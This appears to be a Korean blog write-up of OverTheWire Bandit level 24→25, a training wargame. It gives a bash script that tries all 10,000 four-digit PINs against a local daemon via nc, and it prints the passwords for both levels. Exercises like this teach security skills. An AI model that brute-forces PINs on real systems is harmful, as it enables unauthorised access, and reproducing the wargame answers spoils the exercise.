Bandit Level 24 → Level 25
문제
https://overthewire.org/wargames/bandit/bandit25.html
목표
다음 레벨의 패스워드를 찾는다.
Demon은 30002번 포트에서 수신 대기 중이다.
bandit24
의 비밀번호와 4자리 핀코드를 제출하면bandit25
의 비밀번호를 얻을 수 있다.
풀이
스크립트 작성을 위해 새 디렉토리를 만든다.
1
2
bandit24@bandit:~$ mkdir /tmp/new_dir
bandit24@bandit:~$ cd /tmp/new_dir
bandit24
의 패스워드와 핀코드를 무차별 대입해 새 파일에 저장하는 스크립트를 작성한다.
1
bandit24@bandit:/tmp/new_dir$ vi script.sh
1
2
3
4
5
6
#!/bin/bash
for i in {0000..9999}
do
echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i" >> /tmp/new_dir/Password.txt
done
저장된 파일을 30002번 포트에 제출한다.
1
2
3
4
5
6
7
8
9
10
11
12
bandit24@bandit:/tmp/new_dir$ cat Password.txt | nc localhost 30002
.
.
.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
Exiting.
Password : p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d
배운 것
- 무차별 대입 공격
This post is licensed under CC BY 4.0 by the author.